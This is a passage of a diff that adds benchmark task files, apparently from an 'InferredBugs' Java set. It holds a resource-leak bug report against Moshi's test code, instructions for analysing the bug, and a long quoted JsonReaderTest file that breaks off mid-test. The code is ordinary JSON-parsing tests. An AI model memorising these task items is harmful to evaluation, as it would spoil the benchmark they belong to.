+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{\"a\":1,\"b\":2}");
+  }
+
+  @Test public void writerEmptyValueObject() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginObject();
+    writer.promoteNameToValue();
+    assertThat(writer.getPath()).isEqualTo("$.");
+    writer.endObject();
+    assertThat(writer.getPath()).isEqualTo("$");
+    assertThat(buffer.readUtf8()).isEqualTo("{}");
+  }
+
+  @Test public void writerUnusedPromotionDoesntPersist() throws Exception {
+    Buffer buffer = new Buffer();
+    JsonWriter writer = JsonWriter.of(buffer);
+    writer.beginArray();
+    writer.beginObject();
+    writer.promoteNameToValue();
+    writer.endObject();
+    writer.beginObject();
+    try {
+      writer.value("a");
+      fail();
+    } catch (IllegalStateException expected) {
+    }
+    writer.name("a");
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.squareup.moshi.BufferedSourceJsonReader` acquired by call to `newReader(...)` at line 148 is not released after line 160.
+**Note**: potential exception at line 149
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PromoteNameToValueTest.readerUnusedPromotionDoesntPersist()
+
+### Procedure Id:
+com.squareup.moshi.PromoteNameToValueTest.readerUnusedPromotionDoesntPersist():void.ff9fbfdc887aa33c33d792718d5dbda4
+
+### File:
+moshi/src/test/java/com/squareup/moshi/PromoteNameToValueTest.java
+
+### Key:
+PromoteNameToValueTest.java|readerUnusedPromotionDoesntPersist|RESOURCE_LEAK
+
+### Node Key:
+95ced91ca0473a6646194f1eb482b307
+
+### Hash:
+3c7da46e2ec07b25ab558e83be21bf90
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8561/instruction.md b/inferredbugs-8561/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..31ee5a72925e839353f2e24b487c62edd6806cc2
--- /dev/null
+++ b/inferredbugs-8561/instruction.md
@@ -0,0 +1,1897 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** moshi
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2010 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.squareup.moshi;
+
+import java.io.EOFException;
+import java.io.IOException;
+import java.util.Arrays;
+import okio.Buffer;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import static com.squareup.moshi.JsonReader.Token.BEGIN_ARRAY;
+import static com.squareup.moshi.JsonReader.Token.BEGIN_OBJECT;
+import static com.squareup.moshi.JsonReader.Token.BOOLEAN;
+import static com.squareup.moshi.JsonReader.Token.END_ARRAY;
+import static com.squareup.moshi.JsonReader.Token.END_OBJECT;
+import static com.squareup.moshi.JsonReader.Token.NAME;
+import static com.squareup.moshi.JsonReader.Token.NULL;
+import static com.squareup.moshi.JsonReader.Token.NUMBER;
+import static com.squareup.moshi.JsonReader.Token.STRING;
+import static com.squareup.moshi.TestUtil.newReader;
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.Assert.fail;
+
+public final class JsonReaderTest {
+  @Test public void readingDoesNotBuffer() throws IOException {
+    Buffer buffer = new Buffer().writeUtf8("{}{}");
+
+    JsonReader reader1 = new JsonReader(buffer);
+    reader1.beginObject();
+    reader1.endObject();
+    assertThat(buffer.size()).isEqualTo(2);
+
+    JsonReader reader2 = new JsonReader(buffer);
+    reader2.beginObject();
+    reader2.endObject();
+    assertThat(buffer.size()).isEqualTo(0);
+  }
+
+  @Test public void readArray() throws IOException {
+    JsonReader reader = newReader("[true, true]");
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.nextBoolean()).isTrue();
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void readEmptyArray() throws IOException {
+    JsonReader reader = newReader("[]");
+    reader.beginArray();
+    assertThat(reader.hasNext()).isFalse();
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void readObject() throws IOException {
+    JsonReader reader = newReader("{\"a\": \"android\", \"b\": \"banana\"}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("android");
+    assertThat(reader.nextName()).isEqualTo("b");
+    assertThat(reader.nextString()).isEqualTo("banana");
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void readObjectBuffer() throws IOException {
+    Buffer buffer = new Buffer().writeUtf8("{\"a\": \"android\", \"b\": \"banana\"}");
+    JsonReader reader = new JsonReader(buffer);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("android");
+    assertThat(reader.nextName()).isEqualTo("b");
+    assertThat(reader.nextString()).isEqualTo("banana");
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void readObjectSource() throws IOException {
+    Buffer buffer = new Buffer().writeUtf8("{\"a\": \"android\", \"b\": \"banana\"}");
+    JsonReader reader = new JsonReader(buffer);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("android");
+    assertThat(reader.nextName()).isEqualTo("b");
+    assertThat(reader.nextString()).isEqualTo("banana");
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void readEmptyObject() throws IOException {
+    JsonReader reader = newReader("{}");
+    reader.beginObject();
+    assertThat(reader.hasNext()).isFalse();
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipArray() throws IOException {
+    JsonReader reader = newReader("{\"a\": [\"one\", \"two\", \"three\"], \"b\": 123}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    reader.skipValue();
+    assertThat(reader.nextName()).isEqualTo("b");
+    assertThat(reader.nextInt()).isEqualTo(123);
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipArrayAfterPeek() throws Exception {
+    JsonReader reader = newReader("{\"a\": [\"one\", \"two\", \"three\"], \"b\": 123}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.peek()).isEqualTo(BEGIN_ARRAY);
+    reader.skipValue();
+    assertThat(reader.nextName()).isEqualTo("b");
+    assertThat(reader.nextInt()).isEqualTo(123);
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipTopLevelObject() throws Exception {
+    JsonReader reader = newReader("{\"a\": [\"one\", \"two\", \"three\"], \"b\": 123}");
+    reader.skipValue();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipObject() throws IOException {
+    JsonReader reader = newReader(
+        "{\"a\": { \"c\": [], \"d\": [true, true, {}] }, \"b\": \"banana\"}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    reader.skipValue();
+    assertThat(reader.nextName()).isEqualTo("b");
+    reader.skipValue();
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipObjectAfterPeek() throws Exception {
+    String json = "{" + "  \"one\": { \"num\": 1 }"
+        + ", \"two\": { \"num\": 2 }" + ", \"three\": { \"num\": 3 }" + "}";
+    JsonReader reader = newReader(json);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("one");
+    assertThat(reader.peek()).isEqualTo(BEGIN_OBJECT);
+    reader.skipValue();
+    assertThat(reader.nextName()).isEqualTo("two");
+    assertThat(reader.peek()).isEqualTo(BEGIN_OBJECT);
+    reader.skipValue();
+    assertThat(reader.nextName()).isEqualTo("three");
+    reader.skipValue();
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipInteger() throws IOException {
+    JsonReader reader = newReader("{\"a\":123456789,\"b\":-123456789}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    reader.skipValue();
+    assertThat(reader.nextName()).isEqualTo("b");
+    reader.skipValue();
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void skipDouble() throws IOException {
+    JsonReader reader = newReader("{\"a\":-123.456e-789,\"b\":123456789.0}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    reader.skipValue();
+    assertThat(reader.nextName()).isEqualTo("b");
+    reader.skipValue();
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void failOnUnknownFailsOnUnknownObjectValue() throws IOException {
+    JsonReader reader = newReader("{\"a\": 123}");
+    reader.setFailOnUnknown(true);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.skipValue();
+      fail();
+    } catch (JsonDataException expected) {
+      assertThat(expected).hasMessage("Cannot skip unexpected NUMBER at $.a");
+    }
+    // Confirm that the reader is left in a consistent state after the exception.
+    reader.setFailOnUnknown(false);
+    assertThat(reader.nextInt()).isEqualTo(123);
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void failOnUnknownFailsOnUnknownArrayElement() throws IOException {
+    JsonReader reader = newReader("[\"a\", 123]");
+    reader.setFailOnUnknown(true);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo("a");
+    try {
+      reader.skipValue();
+      fail();
+    } catch (JsonDataException expected) {
+      assertThat(expected).hasMessage("Cannot skip unexpected NUMBER at $[1]");
+    }
+    // Confirm that the reader is left in a consistent state after the exception.
+    reader.setFailOnUnknown(false);
+    assertThat(reader.nextInt()).isEqualTo(123);
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void helloWorld() throws IOException {
+    String json = "{\n" +
+        "   \"hello\": true,\n" +
+        "   \"foo\": [\"world\"]\n" +
+        "}";
+    JsonReader reader = newReader(json);
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("hello");
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.nextName()).isEqualTo("foo");
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo("world");
+    reader.endArray();
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void nullSource() {
+    try {
+      new JsonReader(null);
+      fail();
+    } catch (NullPointerException expected) {
+    }
+  }
+
+  @Test public void emptyString() throws Exception {
+    try {
+      newReader("").beginArray();
+      fail();
+    } catch (EOFException expected) {
+    }
+    try {
+      newReader("").beginObject();
+      fail();
+    } catch (EOFException expected) {
+    }
+  }
+
+  @Test public void noTopLevelObject() {
+    try {
+      newReader("true").nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void characterUnescaping() throws IOException {
+    String json = "[\"a\","
+        + "\"a\\\"\","
+        + "\"\\\"\","
+        + "\":\","
+        + "\",\","
+        + "\"\\b\","
+        + "\"\\f\","
+        + "\"\\n\","
+        + "\"\\r\","
+        + "\"\\t\","
+        + "\" \","
+        + "\"\\\\\","
+        + "\"{\","
+        + "\"}\","
+        + "\"[\","
+        + "\"]\","
+        + "\"\\u0000\","
+        + "\"\\u0019\","
+        + "\"\\u20AC\""
+        + "]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    assertThat(reader.nextString()).isEqualTo("a");
+    assertThat(reader.nextString()).isEqualTo("a\"");
+    assertThat(reader.nextString()).isEqualTo("\"");
+    assertThat(reader.nextString()).isEqualTo(":");
+    assertThat(reader.nextString()).isEqualTo(",");
+    assertThat(reader.nextString()).isEqualTo("\b");
+    assertThat(reader.nextString()).isEqualTo("\f");
+    assertThat(reader.nextString()).isEqualTo("\n");
+    assertThat(reader.nextString()).isEqualTo("\r");
+    assertThat(reader.nextString()).isEqualTo("\t");
+    assertThat(reader.nextString()).isEqualTo(" ");
+    assertThat(reader.nextString()).isEqualTo("\\");
+    assertThat(reader.nextString()).isEqualTo("{");
+    assertThat(reader.nextString()).isEqualTo("}");
+    assertThat(reader.nextString()).isEqualTo("[");
+    assertThat(reader.nextString()).isEqualTo("]");
+    assertThat(reader.nextString()).isEqualTo("\0");
+    assertThat(reader.nextString()).isEqualTo("\u0019");
+    assertThat(reader.nextString()).isEqualTo("\u20AC");
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void unescapingInvalidCharacters() throws IOException {
+    String json = "[\"\\u000g\"]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    try {
+      reader.nextString();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void unescapingTruncatedCharacters() throws IOException {
+    String json = "[\"\\u000";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    try {
+      reader.nextString();
+      fail();
+    } catch (EOFException expected) {
+    }
+  }
+
+  @Test public void unescapingTruncatedSequence() throws IOException {
+    String json = "[\"\\";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    try {
+      reader.nextString();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void integersWithFractionalPartSpecified() throws IOException {
+    JsonReader reader = newReader("[1.0,1.0,1.0]");
+    reader.beginArray();
+    assertThat(reader.nextDouble()).isEqualTo(1.0);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.nextLong()).isEqualTo(1L);
+  }
+
+  @Test public void doubles() throws IOException {
+    String json = "[-0.0,"
+        + "1.0,"
+        + "1.7976931348623157E308,"
+        + "4.9E-324,"
+        + "0.0,"
+        + "-0.5,"
+        + "2.2250738585072014E-308,"
+        + "3.141592653589793,"
+        + "2.718281828459045]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    assertThat(reader.nextDouble()).isEqualTo(-0.0);
+    assertThat(reader.nextDouble()).isEqualTo(1.0);
+    assertThat(reader.nextDouble()).isEqualTo(1.7976931348623157E308);
+    assertThat(reader.nextDouble()).isEqualTo(4.9E-324);
+    assertThat(reader.nextDouble()).isEqualTo(0.0);
+    assertThat(reader.nextDouble()).isEqualTo(-0.5);
+    assertThat(reader.nextDouble()).isEqualTo(2.2250738585072014E-308);
+    assertThat(reader.nextDouble()).isEqualTo(3.141592653589793);
+    assertThat(reader.nextDouble()).isEqualTo(2.718281828459045);
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void strictNonFiniteDoubles() throws IOException {
+    String json = "[NaN]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    try {
+      reader.nextDouble();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void strictQuotedNonFiniteDoubles() throws IOException {
+    String json = "[\"NaN\"]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    try {
+      reader.nextDouble();
+      fail();
+    } catch (IOException expected) {
+      assertThat(expected).hasMessageContaining("NaN");
+    }
+  }
+
+  @Test public void lenientNonFiniteDoubles() throws IOException {
+    String json = "[NaN, -Infinity, Infinity]";
+    JsonReader reader = newReader(json);
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(Double.isNaN(reader.nextDouble())).isTrue();
+    assertThat(reader.nextDouble()).isEqualTo(Double.NEGATIVE_INFINITY);
+    assertThat(reader.nextDouble()).isEqualTo(Double.POSITIVE_INFINITY);
+    reader.endArray();
+  }
+
+  @Test public void lenientQuotedNonFiniteDoubles() throws IOException {
+    String json = "[\"NaN\", \"-Infinity\", \"Infinity\"]";
+    JsonReader reader = newReader(json);
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.nextDouble()).isNaN();
+    assertThat(reader.nextDouble()).isEqualTo(Double.NEGATIVE_INFINITY);
+    assertThat(reader.nextDouble()).isEqualTo(Double.POSITIVE_INFINITY);
+    reader.endArray();
+  }
+
+  @Test public void strictNonFiniteDoublesWithSkipValue() throws IOException {
+    String json = "[NaN]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    try {
+      reader.skipValue();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void longs() throws IOException {
+    String json = "[0,0,0,"
+        + "1,1,1,"
+        + "-1,-1,-1,"
+        + "-9223372036854775808,"
+        + "9223372036854775807]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    assertThat(reader.nextLong()).isEqualTo(0L);
+    assertThat(reader.nextInt()).isEqualTo(0);
+    assertThat(reader.nextDouble()).isEqualTo(0.0d);
+    assertThat(reader.nextLong()).isEqualTo(1L);
+    assertThat(reader.nextInt()).isEqualTo(1);
+    assertThat(reader.nextDouble()).isEqualTo(1.0d);
+    assertThat(reader.nextLong()).isEqualTo(-1L);
+    assertThat(reader.nextInt()).isEqualTo(-1);
+    assertThat(reader.nextDouble()).isEqualTo(-1.0d);
+    try {
+      reader.nextInt();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextLong()).isEqualTo(Long.MIN_VALUE);
+    try {
+      reader.nextInt();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextLong()).isEqualTo(Long.MAX_VALUE);
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test @Ignore public void numberWithOctalPrefix() throws IOException {
+    String json = "[01]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    try {
+      reader.peek();
+      fail();
+    } catch (IOException expected) {
+    }
+    try {
+      reader.nextInt();
+      fail();
+    } catch (IOException expected) {
+    }
+    try {
+      reader.nextLong();
+      fail();
+    } catch (IOException expected) {
+    }
+    try {
+      reader.nextDouble();
+      fail();
+    } catch (IOException expected) {
+    }
+    assertThat(reader.nextString()).isEqualTo("01");
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void booleans() throws IOException {
+    JsonReader reader = newReader("[true,false]");
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.nextBoolean()).isFalse();
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void peekingUnquotedStringsPrefixedWithBooleans() throws IOException {
+    JsonReader reader = newReader("[truey]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(STRING);
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextString()).isEqualTo("truey");
+    reader.endArray();
+  }
+
+  @Test public void malformedNumbers() throws IOException {
+    assertNotANumber("-");
+    assertNotANumber(".");
+
+    // exponent lacks digit
+    assertNotANumber("e");
+    assertNotANumber("0e");
+    assertNotANumber(".e");
+    assertNotANumber("0.e");
+    assertNotANumber("-.0e");
+
+    // no integer
+    assertNotANumber("e1");
+    assertNotANumber(".e1");
+    assertNotANumber("-e1");
+
+    // trailing characters
+    assertNotANumber("1x");
+    assertNotANumber("1.1x");
+    assertNotANumber("1e1x");
+    assertNotANumber("1ex");
+    assertNotANumber("1.1ex");
+    assertNotANumber("1.1e1x");
+
+    // fraction has no digit
+    assertNotANumber("0.");
+    assertNotANumber("-0.");
+    assertNotANumber("0.e1");
+    assertNotANumber("-0.e1");
+
+    // no leading digit
+    assertNotANumber(".0");
+    assertNotANumber("-.0");
+    assertNotANumber(".0e1");
+    assertNotANumber("-.0e1");
+  }
+
+  private void assertNotANumber(String s) throws IOException {
+    JsonReader reader = newReader("[" + s + "]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.STRING);
+    assertThat(reader.nextString()).isEqualTo(s);
+    reader.endArray();
+  }
+
+  @Test public void peekingUnquotedStringsPrefixedWithIntegers() throws IOException {
+    JsonReader reader = newReader("[12.34e5x]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(STRING);
+    try {
+      reader.nextInt();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextString()).isEqualTo("12.34e5x");
+  }
+
+  @Test public void peekLongMinValue() throws IOException {
+    JsonReader reader = newReader("[-9223372036854775808]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(NUMBER);
+    assertThat(reader.nextLong()).isEqualTo(-9223372036854775808L);
+  }
+
+  @Test public void peekLongMaxValue() throws IOException {
+    JsonReader reader = newReader("[9223372036854775807]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(NUMBER);
+    assertThat(reader.nextLong()).isEqualTo(9223372036854775807L);
+  }
+
+  @Test public void longLargerThanMaxLongThatWrapsAround() throws IOException {
+    JsonReader reader = newReader("[22233720368547758070]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(NUMBER);
+    try {
+      reader.nextLong();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+  }
+
+  @Test public void longLargerThanMinLongThatWrapsAround() throws IOException {
+    JsonReader reader = newReader("[-22233720368547758070]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(NUMBER);
+    try {
+      reader.nextLong();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+  }
+
+  /**
+   * This test fails because there's no double for 9223372036854775808, and our
+   * long parsing uses Double.parseDouble() for fractional values.
+   */
+  @Test @Ignore public void peekLargerThanLongMaxValue() throws IOException {
+    JsonReader reader = newReader("[9223372036854775808]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(NUMBER);
+    try {
+      reader.nextLong();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+  }
+
+  /**
+   * This test fails because there's no double for -9223372036854775809, and our
+   * long parsing uses Double.parseDouble() for fractional values.
+   */
+  @Test @Ignore public void peekLargerThanLongMinValue() throws IOException {
+    JsonReader reader = newReader("[-9223372036854775809]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(NUMBER);
+    try {
+      reader.nextLong();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextDouble()).isEqualTo(-9223372036854775809d);
+  }
+
+  /**
+   * This test fails because there's no double for 9223372036854775806, and
+   * our long parsing uses Double.parseDouble() for fractional values.
+   */
+  @Test @Ignore public void highPrecisionLong() throws IOException {
+    String json = "[9223372036854775806.000]";
+    JsonReader reader = newReader(json);
+    reader.beginArray();
+    assertThat(reader.nextLong()).isEqualTo(9223372036854775806L);
+    reader.endArray();
+  }
+
+  @Test public void peekMuchLargerThanLongMinValue() throws IOException {
+    JsonReader reader = newReader("[-92233720368547758080]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(NUMBER);
+    try {
+      reader.nextLong();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextDouble()).isEqualTo(-92233720368547758080d);
+  }
+
+  @Test public void quotedNumberWithEscape() throws IOException {
+    JsonReader reader = newReader("[\"12\u00334\"]");
+    reader.setLenient(true);
+    reader.beginArray();
+    assertThat(reader.peek()).isEqualTo(STRING);
+    assertThat(reader.nextInt()).isEqualTo(1234);
+  }
+
+  @Test public void mixedCaseLiterals() throws IOException {
+    JsonReader reader = newReader("[True,TruE,False,FALSE,NULL,nulL]");
+    reader.beginArray();
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.nextBoolean()).isTrue();
+    assertThat(reader.nextBoolean()).isFalse();
+    assertThat(reader.nextBoolean()).isFalse();
+    reader.nextNull();
+    reader.nextNull();
+    reader.endArray();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+  }
+
+  @Test public void missingValue() throws IOException {
+    JsonReader reader = newReader("{\"a\":}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.nextString();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void prematureEndOfInput() throws IOException {
+    JsonReader reader = newReader("{\"a\":true,");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    assertThat(reader.nextBoolean()).isTrue();
+    try {
+      reader.nextName();
+      fail();
+    } catch (EOFException expected) {
+    }
+  }
+
+  @Test public void prematurelyClosed() throws IOException {
+    try {
+      JsonReader reader = newReader("{\"a\":[]}");
+      reader.beginObject();
+      reader.close();
+      reader.nextName();
+      fail();
+    } catch (IllegalStateException expected) {
+    }
+
+    try {
+      JsonReader reader = newReader("{\"a\":[]}");
+      reader.close();
+      reader.beginObject();
+      fail();
+    } catch (IllegalStateException expected) {
+    }
+
+    try {
+      JsonReader reader = newReader("{\"a\":true}");
+      reader.beginObject();
+      reader.nextName();
+      reader.peek();
+      reader.close();
+      reader.nextBoolean();
+      fail();
+    } catch (IllegalStateException expected) {
+    }
+  }
+
+  @Test public void nextFailuresDoNotAdvance() throws IOException {
+    JsonReader reader = newReader("{\"a\":true}");
+    reader.beginObject();
+    try {
+      reader.nextString();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.nextName();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    try {
+      reader.beginArray();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    try {
+      reader.endArray();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    try {
+      reader.beginObject();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    try {
+      reader.endObject();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextBoolean()).isTrue();
+    try {
+      reader.nextString();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    try {
+      reader.nextName();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    try {
+      reader.beginArray();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    try {
+      reader.endArray();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    reader.endObject();
+    assertThat(reader.peek()).isEqualTo(JsonReader.Token.END_DOCUMENT);
+    reader.close();
+  }
+
+  @Test public void integerMismatchWithDoubleDoesNotAdvance() throws IOException {
+    JsonReader reader = newReader("[1.5]");
+    reader.beginArray();
+    try {
+      reader.nextInt();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextDouble()).isEqualTo(1.5d);
+    reader.endArray();
+  }
+
+  @Test public void integerMismatchWithLongDoesNotAdvance() throws IOException {
+    JsonReader reader = newReader("[9223372036854775807]");
+    reader.beginArray();
+    try {
+      reader.nextInt();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextLong()).isEqualTo(9223372036854775807L);
+    reader.endArray();
+  }
+
+  @Test public void longMismatchWithDoubleDoesNotAdvance() throws IOException {
+    JsonReader reader = newReader("[1.5]");
+    reader.beginArray();
+    try {
+      reader.nextLong();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+    assertThat(reader.nextDouble()).isEqualTo(1.5d);
+    reader.endArray();
+  }
+
+  @Test public void stringNullIsNotNull() throws IOException {
+    JsonReader reader = newReader("[\"null\"]");
+    reader.beginArray();
+    try {
+      reader.nextNull();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+  }
+
+  @Test public void nullLiteralIsNotAString() throws IOException {
+    JsonReader reader = newReader("[null]");
+    reader.beginArray();
+    try {
+      reader.nextString();
+      fail();
+    } catch (JsonDataException expected) {
+    }
+  }
+
+  @Test public void strictNameValueSeparator() throws IOException {
+    JsonReader reader = newReader("{\"a\"=true}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+
+    reader = newReader("{\"a\"=>true}");
+    reader.beginObject();
+    assertThat(reader.nextName()).isEqualTo("a");
+    try {
+      reader.nextBoolean();
+      fail();
+    } catch (IOException expected) {
+    }
+  }
+
+  @Test public void lenientNameValueSeparator() throws IOException {
+    JsonReader reader = newReader("{\"a\"=true}");
